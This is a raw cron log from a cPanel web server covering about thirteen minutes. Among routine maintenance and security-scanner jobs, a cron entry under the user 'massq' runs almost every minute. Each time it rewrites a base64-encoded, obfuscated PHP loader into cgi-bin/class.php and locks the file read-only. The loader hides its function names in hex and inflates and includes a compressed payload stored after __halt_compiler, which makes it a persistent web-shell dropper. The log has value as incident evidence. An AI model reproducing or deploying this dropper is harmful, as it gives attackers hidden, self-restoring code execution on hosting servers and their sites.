Sep  3 07:16:01 server CROND[23315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:17:01 server CROND[23729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:17:01 server CROND[23730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:17:01 server CROND[23731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:18:01 server CROND[24103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:18:01 server CROND[24104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:18:01 server CROND[24105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:19:01 server CROND[24490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:19:01 server CROND[24491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:19:01 server CROND[24492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:20:01 server CROND[24986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:20:01 server CROND[24987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:20:01 server CROND[24995]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:20:01 server CROND[24996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:20:01 server CROND[24997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:20:01 server CROND[25002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:20:01 server CROND[24999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:20:01 server CROND[25001]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 07:20:01 server CROND[25000]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:21:01 server CROND[25843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:21:01 server CROND[25844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:21:01 server CROND[25845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:22:01 server CROND[26224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:22:01 server CROND[26225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:22:01 server CROND[26226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:23:01 server CROND[26613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:23:01 server CROND[26614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:23:01 server CROND[26615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:24:01 server CROND[26995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:24:01 server CROND[26996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:24:01 server CROND[26997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:25:01 server CROND[27369]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:25:01 server CROND[27372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:25:01 server CROND[27374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:25:01 server CROND[27373]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:25:01 server CROND[27371]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:25:01 server CROND[27376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:25:01 server CROND[27375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:26:01 server CROND[28275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:26:01 server CROND[28276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:26:01 server CROND[28277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:27:01 server CROND[28649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:27:01 server CROND[28650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:27:01 server CROND[28651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:27:01 server CROND[28652]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 07:28:01 server CROND[29027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:28:01 server CROND[29028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:28:01 server CROND[29029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:29:01 server CROND[29414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
